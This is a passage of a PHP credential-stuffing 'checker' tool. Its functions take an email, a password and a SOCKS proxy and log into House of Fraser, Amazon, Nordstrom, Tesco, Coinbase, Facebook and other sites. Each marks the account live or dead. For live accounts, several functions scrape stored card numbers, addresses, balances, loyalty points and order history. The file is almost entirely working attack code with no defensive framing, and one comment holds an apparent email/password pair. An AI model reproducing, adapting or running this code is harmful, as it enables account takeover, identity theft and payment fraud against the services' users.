2926 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2927 '<br>';
2928 $tdie++;
2929 } else {
2930 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2931 '|' . '<br>';
2932 }
2933 flush(); ob_flush();
2934 }
2935 else
2936 {
2937 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2938 '|' . '<br>';
2939 }
2940 $curl->close();
2941 unset($curl);
2942}
2943function houseoffraser($m,$p,$sock)
2944{
2945 $curl = new curl;
2946 $curl->cookiefile(null);
2947 $curl->timeout("30");
2948 if($sock) {$curl->proxy($sock);}
2949 $curl->ssl(0, 2);
2950
2951 $url1 = "https://www.houseoffraser.co.uk/on/demandware.store/Sites-hof-Site/default/Login-Show/";
2952
2953 $page = $curl->get($url1);
2954 if ($page) {
2955 $id = getStr($page,'<form action="https://www.houseoffraser.co.uk/on/demandware.store/Sites-hof-Site/default/Login-Show/','"');
2956 $data = "dwfrm_login_username=$m&dwfrm_login_password=$p&dwfrm_login_rememberme=true&dwfrm_login_login=Sign+In+Securely";
2957
2958 $page = $curl->post($url1.$id, $data, 1, 1, 0);
2959
2960 if (!strpos($page, "Sign In or Create an Account")) {
2961 $page = $curl->get("https://www.houseoffraser.co.uk/on/demandware.store/Sites-hof-Site/default/PaymentInstruments-List");
2962 if(strpos($page,'There are no payment methods currently associated with your account. Please create one or more payment methods.'))
2963 {
2964 $card = "No Card";
2965 }
2966 else
2967 {
2968 $card = "Have Card";
2969 }
2970 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card";
2971 }
2972 elseif (strpos($page, "Sign In or Create an Account") || strpos("The password field must be at least 6 characters in length.")) {
2973 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2974 '<br>';
2975 $tdie++;
2976 } else {
2977 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2978 '|' . '<br>';
2979 }
2980 flush(); ob_flush();
2981 }
2982 else
2983 {
2984 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2985 '|' . '<br>';
2986 }
2987 $curl->close();
2988 unset($curl);
2989}
2990function amz($m,$p,$sock)
2991{
2992 $url1 = "https://payments.amazon.com/home";
2993 $url2 = "https://www.amazon.com/ap/signin?openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&pageId=amzn_payments&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&marketPlaceId=AZ4B0ZS3LGLX&openid.assoc_handle=amzn_payments&openid.return_to=https%3A%2F%2Fpayments.amazon.com%3A443%2Foverview&&openid.pape.max_auth_age=0&openid.pape.preferred_auth_policies=http://schemas.amazon.com/pape/policies/2010/05/single-factor-strong&ld=PA";
2994 $url3 = "https://www.amazon.com/ap/signin";
2995 $url4 = "https://www.amazon.com/gp/css/account/cards/view.html?ie=UTF8&ref_=ya_29&";
2996 $url5 = "https://www.amazon.com/gp/css/account/address/view.html?ie=UTF8&ref_=ya_manage_address_book";
2997 $url6 = "https://www.amazon.com/gp/css/order-history/ref=ya_orders_css";
2998
2999 $mail = $m;
3000 $pass = $p;
3001
3002 $curl = new curl;
3003 $curl->cookiefile(null);
3004 $curl->timeout("30");
3005 if($sock != '') {$curl->proxy($sock);}
3006 $curl->ssl(0, 2);
3007 $page = $curl->get($url1);
3008 if ($page) {
3009 $curl->referer($url1);
3010 $page = $curl->get($url2);
3011 $token = urlencode(getStr($page,'appActionToken" value="','"'));
3012 $openidns = urlencode(getStr($page,'name="openid.ns" value="','"'));
3013 $openidauth = urlencode(getStr($page,'name="openid.pape.preferred_auth_policies" value="','"'));
3014 $pageid = urlencode(getStr($page,'name="pageId" value="','"'));
3015 $openidindentity = urlencode(getStr($page,'name="openid.identity" value="','"'));
3016 $claimed = urlencode(getStr($page,'openid.claimed_id" value="','"'));
3017 $mode = urlencode(getStr($page,'openid.mode" value="','"'));
3018 $assoc_handle = urlencode(getStr($page,'name="openid.assoc_handle" value="','"'));
3019 $marketPlaceId = urlencode(getStr($page,'name="marketPlaceId" value="','"'));
3020 $return_to = urlencode(getStr($page,'name="openid.return_to" value="','"'));
3021 $data3 = "appActionToken=$token&appAction=SIGNIN&openid.pape.max_auth_age=ape%3AMA%3D%3D&openid.ns=$openidns&openid.pape.preferred_auth_policies=$openidauth&pageId=$pageid&openid.identity=$openidindentity&openid.claimed_id=$claimed&openid.mode=$mode&openid.assoc_handle=$assoc_handle&marketPlaceId=$marketPlaceId&openid.return_to=$return_to&email=".urlencode($m)."&create=0&password=".urlencode($p)."&x=195&y=12&metadata1=Xv7XA%2FVXuIlXO4jxdrcOq5o6iSXcIII8N3Zk1BCeHPh0JuJO%2Fr756mEnhg%2BqptNxVP6DUxTZGVMeoKEelBAsi9s6sXupayhNZA%2F%2FCbznLPQM7CbJEdc3jeoZmzCIcp5AQQ8kvYnEKen5FvnZ9Apdw%2FTn44qxTozU5UcsOwqF8FRb4uYQJUqeZEAY1vzOJ2etWK08dw1zXuHjk4Z5nC48a3IFII30D9DziqMBHLddiHUtCuj2jleL3XWRCtF6E%2B%2Bk6pZWIBeb4URONhzAgY96rM7BYt1OQ4u6QDHXphjACf8KgqXKEJ7WEkIVADYdVbddPrjCwmUszpGAZm%2FI5kv3mgOAKJnS9M4WcVeiVukFDuJMHPuQCt3IKfaOFQ5swbn1xe7EOrJ39TUkNAojZtSlOVJWle3eTyloLNKAqHfMwWVu3WJkXgDPRuFOVVBVpT0YD52AQXQEcyOhkLh%2Bypj%2FSvWiHBowkTQ8%2FZFRtyKRNVTeabfaQLbxKfNUKHHYyVnv63iXELEeAO35zh6USPjglvGj6TnLzjqUNUIab3QA5KBCv%2BqM6KPAHfhlVSk5nilQAUavXvRxdn1OUfDdHDYsIo6F7SpF%2BjKU6kBtSL7rPwKlFrfhMUyheORCpmOEz3ljGA374CHR7Dj%2FMD9zNx%2BGKZzXEmFq%2FAOBC2pZV6%2FbgdhMk9VTcWkdmqdHVfiMa9aoBm%2BleXXTf4N32e3roKmad1yYhMmJJkvpbaa41P60do0MvGSB4EY%2F56Ie4fhnoouQuL1EGP3VEv3R4jU%2BwCKjnI%2BrCRyUVv60qZ17v29r3KPn%2BCmAXwjkpA3i9DIzONn2T58LDg%3D%3D";
3022
3023 $page = $curl->post($url3, $data3, 1, 1, 0);
3024
3025 if (strpos($page,'Address line 1')) {
3026 $page = $curl->get($url4);
3027 $type = preg_match_all('/inline; font-weight: normal">(.*)<\/h2><\/td>/i', $page, $array);
3028 $ccn = preg_match_all('/<b>Number:<\/b><\/td><td>(.*)<\/td><\/tr>/i', $page, $array2);
3029 $exp = preg_match_all('/Date:<\/b><\/td><td>(.*)<\/td><\/tr>/i', $page, $array3);
3030 //var_dump($array2);
3031 $totalcc = count($array[1]);
3032 $k = 0;
3033 while($k < $totalcc)
3034 {
3035 $num = getStr($array2[1][$k],'*','</td></tr>');
3036 $exp = explode("</td></tr>",$array3[1][$k]);
3037
3038 $card .= "[ ".$array[1][$k]." - ".$num." - ".$exp[0]." ] ";
3039 $k++;
3040 }
3041
3042 $page = $curl->get($url5);
3043 $add = strip_tags(getStr($page,'<div class="displayAddressDiv">','</ul>'));
3044
3045 $page = $curl->get($url6);
3046 if(strpos($page,'No orders found.'))
3047 {
3048 $order = "No Order";
3049 }
3050 else
3051 {
3052 $order = "Have Order";
3053 }
3054 return '<font color=green>Live</font> => ' . $sock . '|' . $mail . '|' . $pass .
3055 '| '.$order.'|' . $card .'|'.$add. '<br>';
3056
3057 } elseif (strpos($page, 'error with your E-Mail/Password combination') !== false) {
3058 return '<font color=red>Die</font> ==> ' . $sock . '|' . $mail . '|' . $pass . '|' .
3059 '<br>';
3060 }
3061 elseif(strpos($page,'Important Message!'))
3062 {
3063 //return '<font color=red>Socks Die</font> ==> ' . $sock . '|' . $mail . '|' . $pass .'|' . '<br>';
3064 return '<font color=pink>Unknow</font> ==> ' . $sock . '|' . $mail . '|' . $pass .
3065 '|' . '<br>';
3066 }
3067 else {
3068 return '<font color=pink>Unknow</font> ==> ' . $sock . '|' . $mail . '|' . $pass .
3069 '|' . '<br>';
3070 }
3071 } else {
3072 return '<font color=red>Sock Die</font> ==> ' . $sock . '|' . $mail . '|' . $pass .
3073 '|' . '<br>';
3074 }
3075 $curl->close();
3076 unset($curl); // destroy object
3077 flush();
3078
3079}
3080function nordstrom($m,$p,$sock)
3081{
3082 $curl = new curl;
3083 $curl->cookiefile(null);
3084 $curl->timeout("30");
3085 if($sock) {$curl->proxy($sock);}
3086 $curl->ssl(0, 2);
3087
3088 $url1 = "https://secure.nordstrom.com/SignIn.aspx?ReturnURL=http%3a%2f%2fshop.nordstrom.com%2f&origin=tab";
3089 $url2 = "https://www.Nordstrom.com/cservice/cc_index.do";
3090
3091 $page = $curl->get($url1);
3092 if ($page) {
3093 $data = "ctl00%24scriptManager=ctl00%24scriptManager%7Cctl00%24mainContentPlaceHolder%24signIn%24enterButton&__REFERRER=https%3A%2F%2Fsecure.nordstrom.com%2Fconfirm.ashx%3FReturnUrl%3D%2FSignIn.aspx%3FReturnURL%3Dhttp%25253a%25252f%25252fshop.nordstrom.com%25252f%26origin%3Dtab&__EVENTTARGET=ctl00%24mainContentPlaceHolder%24signIn%24enterButton&__EVENTARGUMENT=&__LASTFOCUS=&__PAGESTATE=2Gcrm%2FA86u38j%2Bs%2FDhe01DFo1p3X7vHfXSdIvRoLlkTw3DThSE6EYenvWD9mrHvqLFvvZ19VOH9aMyy9LhJOSWQcLQyxpaD92UnFZNi1rr9EtVKEvdhyCJdre%2FjM0sJZhdYEdxYXVtodygwcHL5thl27RVvIzcXrfbG7XnL9KENqfaWaJbp3WPyp8WUKxRlyY2A0d658uZMaK%2BtHcc0rgj8EB%2B0mO1K7AYESFLLbmKeypRsPBARAr5xHDforL3QNuYNMLk8z%2FQzNp2H28Guwj9OOFv3MBKt2z501u%2BdjnYQ%3D&__VIEWSTATE=%2FwEPDwUKMjA0MDA5NDk2N2QYAgUfY3RsMDAkQXN5bmNSZWdpc3RyYXRpb25NYW5hZ2VyMQ8UKwIEZGUFATAFATBkBTljdGwwMCRtYWluQ29udGVudFBsYWNlSG9sZGVyJHNpZ25JbiRlbWFpbEFkZHJlc3NNdWx0aVZpZXcPD2RmZA%3D%3D&ctl00%24mainContentPlaceHolder%24signIn%24email=$m&ctl00%24mainContentPlaceHolder%24signIn%24password=$p&ctl00%24mainContentPlaceHolder%24signIn%24logInAttempts=0&ctl00%24mainContentPlaceHolder%24signIn%24hiddenEmailLabel=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24firstNameTextBox=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24emailAddressTextBox=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24emailAddressConfirmTextBox=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24passwordTextBox=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24passwordConfirmTextBox=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24zipCodeTextBox=&ctl00%24mainContentPlaceHolder%24accountProfileForm%24genderDropDownList=&ctl00%24mainContentPlaceHolder%24emailPreferences%24checkBoxSendMeUpdates=true&__ASYNCPOST=true&";
3094 $page = $curl->post($url1, $data, 1, 1, 0);
3095
3096
3097 if (!strpos($page, "Please enter a valid e-mail address and password combination.") !== false) {
3098 $pagestate = getStr($page,'id="__PAGESTATE" value="','"');
3099 $viewstate = getStr($page,'id="__VIEWSTATE" value="','"');
3100 $url = "https://secure.nordstrom.com/myaccount/accountsummary.aspx?origin=tab";
3101 $post = "ctl00%24scriptManager=ctl00%24mainContentPlaceHolder%24leftMenu%24updatePanelLeftMenu%7Cctl00%24mainContentPlaceHolder%24leftMenu%24LinkPaymentMethods&__REFERRER=http%3A%2F%2Fshop.nordstrom.com%2F&__EVENTTARGET=ctl00%24mainContentPlaceHolder%24leftMenu%24LinkPaymentMethods&__EVENTARGUMENT=&ctl00%24EndOfDomContent%24addressBookPickList%24pickList%24SourceID=&ctl00%24EndOfDomContent%24walletPickList%24pickList%24SourceID=&__PAGESTATE=$pagestate&__VIEWSTATE=$viewstate&__PREVIOUSPAGE=cP3QEWolm9fMl8A3uNodr1bq_mPk5Jz-7JiK0BEaAcE4xGP3l-2_4I5PpqWRSlJI2leoOMKHb88WLREcLDUO4n3PYuykNwdnU5ohz8r_zJ5nJtal0&ctl00%24mainContentPlaceHolder%24ViewIndexField=0&__ASYNCPOST=true&";
3102 $page = $curl->post($url, $post, 1, 1, 0);
3103 $card = getStr($page,'<div id="ctl00_mainContentPlaceHolder_PaymentMethodsNordUserControl_creditCardDisplayList_ctl01_editCreditCardPanel" class="CardItem">',' <!-- End displaying existing credit cards -->');
3104 $card = strip_tags($card);
3105 $card = str_replace("Edit", "", $card);
3106 $card = str_replace('Remove', "", $card);
3107 $card = str_replace("Card", "", $card);
3108 $card = str_replace("Â", "", $card);
3109 $card = str_replace("Default", "", $card);
3110 $url = "https://secure.nordstrom.com/myaccount/accountsummary.aspx?origin=tab";
3111 $page = $curl->get($url);
3112 $pstate = getStr($page,'id="__PAGESTATE" value="','"');
3113 $state = getStr($page,'name="__VIEWSTATE" id="__VIEWSTATE" value="','"');
3114 $pre = getStr($page,'id="__PREVIOUSPAGE" value="','"');
3115 $post = "ctl00%24scriptManager=ctl00%24mainContentPlaceHolder%24leftMenu%24updatePanelLeftMenu%7Cctl00%24mainContentPlaceHolder%24leftMenu%24LinkOrderHistory&__REFERRER=https%3A%2F%2Fsecure.nordstrom.com%2FSignIn.aspx%3FReturnUrl%3Dhttps%3A%2F%2Fsecure.nordstrom.com%2Fmyaccount%2Faccountsummary.aspx%3Forigin%3Dtab&__EVENTTARGET=ctl00%24mainContentPlaceHolder%24leftMenu%24LinkOrderHistory&__EVENTARGUMENT=&ctl00%24EndOfDomContent%24addressBookPickList%24pickList%24SourceID=&ctl00%24EndOfDomContent%24walletPickList%24pickList%24SourceID=&__PAGESTATE=$pstate&__VIEWSTATE=$state&__PREVIOUSPAGE=$pre&ctl00%24mainContentPlaceHolder%24ViewIndexField=0&__ASYNCPOST=true&";
3116 $page = $curl->post($url, $post, 1, 1, 0);
3117
3118 if(strpos($page,'There is no order history for this registered account.'))
3119 {
3120 $order = "No Order";
3121 }
3122 else
3123 {
3124 $order = "Have Order";
3125 }
3126 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card";
3127 } elseif (strpos($page, "Please enter a valid e-mail address and password combination.")
3128 !== false) {
3129 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3130 '<br>';
3131
3132 } else {
3133 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3134 '|' . '<br>';
3135 }
3136 flush(); ob_flush();
3137 }
3138 else
3139 {
3140 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3141 '|' . '<br>';
3142 }
3143 $curl->close();
3144 unset($curl); // destroy object
3145
3146 }
3147function freelancer($m,$p,$sock)
3148{
3149 $curl = new curl;
3150 $curl->cookiefile(null);
3151 $curl->timeout("30");
3152 if($sock) {$curl->proxy($sock);}
3153 $curl->ssl(0, 2);
3154
3155 $url1 = "https://www.freelancer.com/ajax/login.php";
3156
3157 $page = $curl->get($url1);
3158 if ($page) {
3159 $user = rm($m);
3160 $data = "username=$user&passwd=$p&savelogin=on";
3161 $page = $curl->post($url1, $data, 1, 1, 0);
3162
3163 if (!strpos($page, '"status":"failure"') !== false) {
3164 $page = $curl->get("https://www.freelancer.com/payments/deposit.php");
3165 $balance = getStr($page,'<span id="balance_id">','</span>');
3166
3167 $page = $curl->get("https://www.freelancer.com/users/settings.php");
3168 $info = getStr($page,'"fullname":"','"')." | ".getStr($page,'address1":"','"')." | ".getStr($page,'"city":"','"')." | ".getStr($page,'"state_code":"','"')." | ".getStr($page,'"zip":"','"')." | ".getStr($page,'"phone":"','"')." | ".getStr($page,'"country_code":"','"');
3169 return "<font color=yellow><b>Live</b></font> | $sock | User: $user | $m | $p @@@@ | $$balance | $info";
3170 }
3171 elseif (strpos($page, '"status":"failure"')) {
3172 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3173 '<br>';
3174
3175 } else {
3176 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3177 '|' . '<br>';
3178 }
3179 flush(); ob_flush();
3180 }
3181 else
3182 {
3183 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3184 '|' . '<br>';
3185 }
3186 $curl->close();
3187 unset($curl); // destroy object
3188
3189}
3190function tesco($m,$p,$sock)
3191{
3192 $curl = new curl;
3193 $curl->cookiefile(null);
3194 $curl->timeout("30");
3195 if($sock) {$curl->proxy($sock);}
3196 $curl->ssl(0, 2);
3197
3198 $url1 = "https://secure.tesco.com/register/?vstore=0&from=https%3a%2f%2fsecure.tesco.com%2fregister%2faccount.aspx";
3199 $url2 = "https://secure.tesco.com/register/default.aspx?vstore=0&as=n";
3200
3201 $page = $curl->get($url1);
3202 if ($page) {
3203 $curl->referer($url1);
3204 $_dynSessConf = getStr($page,'formData" value="','"');
3205 $data = "form=fSignin&from=https%3A%2F%2Fsecure.tesco.com%2Fregister%2Faccount.aspx&formData=$form&loginID=$m&password=$p&seamlesswebtag=&confirm-signin.x=31&confirm-signin.y=10";
3206 $page = $curl->post($url2, $data, 1, 1, 0);
3207
3208
3209 if (!strpos($page, "Sign in here") && $page) {
3210 $page = $curl->get("https://secure.tesco.com/direct/my/manage-clubcard.page");
3211 $point = getStr($page,'Total points on your Clubcard','</span>');
3212
3213 $page = $curl->get("https://secure.tesco.com/direct/my/manage-direct-orders.page");
3214 if(strpos($page,'No Orders Placed'))
3215 {
3216 $order = "No Order";
3217 }
3218 else
3219 {
3220 $order = "Have Order";
3221 }
3222
3223 $page = $curl->get("https://secure.tesco.com/direct/my/manage-addressbook.page");
3224 $bill = getStr($page,'<p class="adr">','</p>');
3225 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $point Points | $order | $bill";
3226 } elseif (strpos($page, "Sorry the email and/or password you have entered has not been recognised. Please note that passwords are case sensitive, please check and try again.")) {
3227 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3228 '<br>';
3229
3230 } else {
3231 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3232 '|' . '<br>';
3233 }
3234 flush(); ob_flush();
3235 }
3236 else
3237 {
3238 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3239 '|' . '<br>';
3240 }
3241 $curl->close();
3242 unset($curl); // destroy object
3243
3244}
3245function coinbase($m,$p,$sock)
3246{
3247 $curl = new curl;
3248 $curl->cookiefile(null);
3249 $curl->timeout("30");
3250 if($sock) {$curl->proxy($sock);}
3251 $curl->ssl(0, 2);
3252
3253 $url1 = "https://coinbase.com/signin";
3254 $url2 = "https://coinbase.com/sessions";
3255
3256 $page = $curl->get($url1);
3257 if ($page) {
3258 $curl->referer($url1);
3259 $token = getStr($page,' name="authenticity_token" type="hidden" value="','"');
3260 $data = "utf8=%E2%9C%93&authenticity_token=$token&email=$m&password=$p&commit=Sign+In";
3261 $page = $curl->post($url2, $data, 1, 1, 0);
3262
3263 echo $data;
3264 if (!strpos($page, " Invalid ")) {
3265 $page = $curl->get("https://coinbase.com/transactions");
3266 $balance = strip_tags(getStr($page,"<li class='top-balance'>",'</li>'));
3267
3268 $page = $curl->get("https://coinbase.com/buys");
3269 preg_match_all("/class=\"btn btn-primary\">(.*)<\/a>/", $page, $array);
3270 var_dump($array);
3271 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $balance |";
3272 } elseif (strpos($page, " Invalid")) {
3273 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3274 '<br>';
3275
3276 } else {
3277 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3278 '|' . '<br>';
3279 }
3280 flush(); ob_flush();
3281 }
3282 else
3283 {
3284 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3285 '|' . '<br>';
3286 }
3287 $curl->close();
3288 unset($curl); // destroy object
3289
3290}
3291function choicehotels($m,$p,$sock)
3292{
3293 //pycoder@live.com|quocthang
3294 $curl = new curl;
3295 $curl->cookiefile(null);
3296 $curl->timeout("30");
3297 if($sock) {$curl->proxy($sock);}
3298 $curl->ssl(0, 2);
3299
3300 $url1 = "https://m.choicehotels.com/cpacct";
3301
3302 $page = $curl->get($url1);
3303 if ($page) {
3304 $user = rm($m);
3305 $curl->referer($url1);
3306 $data = "username=$user&password=$p&login=Login";
3307 $page = $curl->post($url1, $data, 1, 1, 0);
3308
3309
3310 if (!strpos($page, "Please try again.") !== false) {
3311 $name = getStr($page,'<td class="title">Member Name:</td>','</td>');
3312 $point = getStr($page,'<td class="title"><strong>Choice Privileges</strong> Points:</td>','</td>');
3313 $since = getStr($page,'<td class="title">Member Since:</td>','</td>');
3314
3315 return "<font color=yellow><b>Live</b></font> | $sock | $user | $p | $m @@@@ | $name | $point Points | Since $since";
3316 } elseif (strpos($page, "Please try again.")
3317 !== false) {
3318 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3319 '<br>';
3320
3321 } else {
3322 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3323 '|' . '<br>';
3324 }
3325 flush(); ob_flush();
3326 }
3327 else
3328 {
3329 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3330 '|' . '<br>';
3331 }
3332 $curl->close();
3333 unset($curl); // destroy object
3334
3335}
3336
3337function nomorerack($m,$p,$sock)
3338{
3339 $curl = new curl;
3340 $curl->cookiefile(null);
3341 $curl->timeout("30");
3342 $curl->proxy($sock);
3343 $curl->ssl(0, 2);
3344
3345 $url1 = "http://www.nomorerack.com/customers/login";
3346
3347 $page = $curl->get($url1);
3348 if ($page) {
3349 $user = rm($m);
3350 $curl->referer($url1);
3351 $data = "login%5Bemail_address%5D=$m&login%5Bpassword%5D=$p&x=58&y=24";
3352 $page = $curl->post($url1, $data, 1, 1, 0);
3353
3354
3355 if (!strpos($page, "do not match our records.") !== false) {
3356 $page = $curl->get("http://www.nomorerack.com/customers/account");
3357 $info = getStr($page,'<div class="name">Full Name:</div>','<div class="clear"></div>')." ".getStr($page,'<div class="name"><label class="form-label">Address Line 1:</label></div>','<div class="clear"></div>')." ".getStr($page,'<div class="name"><label class="form-label">City:</label></div>','<div class="clear"></div>')." ".getStr($page,'<div class="name"><label class="form-label">State:</label></div>','<div class="clear"></div>')." ".getStr($page,'<div class="name"><label class="form-label">Zip/Postal Code:</label></div>','<div class="clear"></div>')." ".getStr($page,'<div class="name"><label class="form-label">Phone Number:</label></div>','<div class="clear"></div>');
3358
3359 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $info";
3360 } elseif (strpos($page, "do not match our records.")
3361 !== false) {
3362 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3363 '<br>';
3364
3365 } else {
3366 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3367 '|' . '<br>';
3368 }
3369 flush(); ob_flush();
3370 }
3371 else
3372 {
3373 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3374 '|' . '<br>';
3375 }
3376 $curl->close();
3377 unset($curl); // destroy object
3378
3379}
3380function mypoint($m,$p,$sock)
3381{
3382 $curl = new curl;
3383 $curl->cookiefile(null);
3384 $curl->timeout("30");
3385 if($sock) {$curl->proxy($sock);}
3386 $curl->ssl(0, 2);
3387
3388 $url1 = "https://www.mypoints.com/emp/u/login.do?";
3389
3390 $page = $curl->get($url1);
3391 if ($page) {
3392 $curl->referer($url1);
3393
3394 $data = "ioBlackBox=&action=login&onOK=%2Femp%2Fu%2Findex.vm&email=$m&password=$p";
3395 $page = $curl->post($url1, $data, 1, 1, 0);
3396
3397 // echo $page;
3398 if (!strpos($page, "incorrect") !== false) {
3399
3400 $points = getStr($page,"You've earned",'</a');
3401 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $points";
3402 } elseif (strpos($page, "incorrect")
3403 !== false) {
3404 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3405 '<br>';
3406
3407 } else {
3408 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3409 '|' . '<br>';
3410 }
3411 flush(); ob_flush();
3412 }
3413 else
3414 {
3415 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3416 '|' . '<br>';
3417 }
3418 $curl->close();
3419 unset($curl); // destroy object
3420
3421}
3422function clubcarlson($m,$p,$sock)
3423{
3424
3425 $curl = new curl;
3426 $curl->cookiefile(null);
3427 $curl->timeout("30");
3428 if($sock) {$curl->proxy($sock);}
3429 $curl->ssl(0, 2);
3430
3431 $url1 = "https://www.clubcarlson.com/secure/login.do";
3432
3433 $page = $curl->get($url1);
3434 if ($page) {
3435 $curl->referer($url1);
3436
3437 $data = "successURL=&rightSide=&userId=$m&password=$p";
3438 $page = $curl->post($url1, $data, 1, 1, 0);
3439
3440 // echo $page;
3441 if (strpos($page, "Account Summary")) {
3442
3443 $points = getStr($page,'<span class="goldpointsBalance">','</span>');
3444 $points = str_replace("You have ", "", $points);
3445 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $points";
3446 } elseif (!strpos($page, "Account Summary")) {
3447 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3448 '<br>';
3449
3450 } else {
3451 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3452 '|' . '<br>';
3453 }
3454 flush(); ob_flush();
3455 }
3456 else
3457 {
3458 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3459 '|' . '<br>';
3460 }
3461 $curl->close();
3462 unset($curl); // destroy object
3463
3464}
3465function match($m,$p,$sock)
3466{
3467 $curl = new curl;
3468 $curl->cookiefile(null);
3469 $curl->timeout("30");
3470 if($sock) {$curl->proxy($sock);}
3471 $curl->ssl(0, 2);
3472
3473 $url1 = "http://vn.match.com/login/login.aspx?lid=2";
3474 $state = getStr($page,'id="__VIEWSTATE" value="','"');
3475
3476 $page = $curl->get($url1);
3477 if ($page) {
3478
3479 $data = "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=$state&ctl00%24workarea%24loginPageView%24ctl00%24login%24ctl00%24tbxHandle=$m&ctl00%24workarea%24loginPageView%24ctl00%24login%24ctl00%24tbxPassword=$p&ctl00%24workarea%24loginPageView%24ctl00%24login%24ctl00%24cbxAutoLogin=on&ctl00%24workarea%24loginPageView%24ctl00%24login%24ctl00%24btnLogin.x=0&ctl00%24workarea%24loginPageView%24ctl00%24login%24ctl00%24btnLogin.y=0";
3480 $page = $curl->post($url1, $data, 1, 1, 0);
3481
3482
3483 if (!strpos($page, "incorrect")) {
3484
3485 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ ";
3486
3487 } else {
3488 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3489 '<br>';
3490
3491 }
3492 flush(); ob_flush();
3493 }
3494 else
3495 {
3496 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
3497 '|' . '<br>';
3498 }
3499 $curl->close();
3500 unset($curl); // destroy object
3501
3502 }
3503function facebook($m,$p,$sock)
3504{
3505 $curl = new curl;
3506 $curl->cookiefile(null);
3507 $curl->timeout("30");
3508 $curl->proxy($sock);
3509 $curl->ssl(0, 2);
3510
3511 $url1 = "https://m.facebook.com/login.php?refsrc=https%3A%2F%2Fm.facebook.com%2F&refid=8";
3512
3513 $page = $curl->get($url1);
3514 if ($page) {
3515
3516 $data = "lsd=AVqTrA8A&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&version=1&ajax=0&width=0&pxr=0&gps=0&m_ts=1374633051&li=WzzvUTicYxDhuwDIhcEwatdn&signup_layout=layout%7Cbottom_clean%7C%7Cwider_form%7C%7Cprmnt_btn%7Cspecial%7C%7Cst%7Ccreate%7C%7Cheader_crt_acct_button%7C%7Chdbtn_color%7Cgreen%7C%7Csignupinstr%7C%7Claunched_Mar3&email=$m&pass=$p&login=Log+In";
3517 $page = $curl->post($url1, $data, 1, 1, 0);
3518 $note = getStr($page,'<tbody><tr><td class="_4g34"><div class="acr aps abb"><span class="mfss">','</');
3519
3520 if (strpos($page,'Notification') || strpos($page,'locked')) {
3521
3522 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $note";
3523
3524 } else {
3525 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
3526 '<br>';
3527
3528 }
3529 flush(); ob_flush();
3530 }
3531 else
3532 {
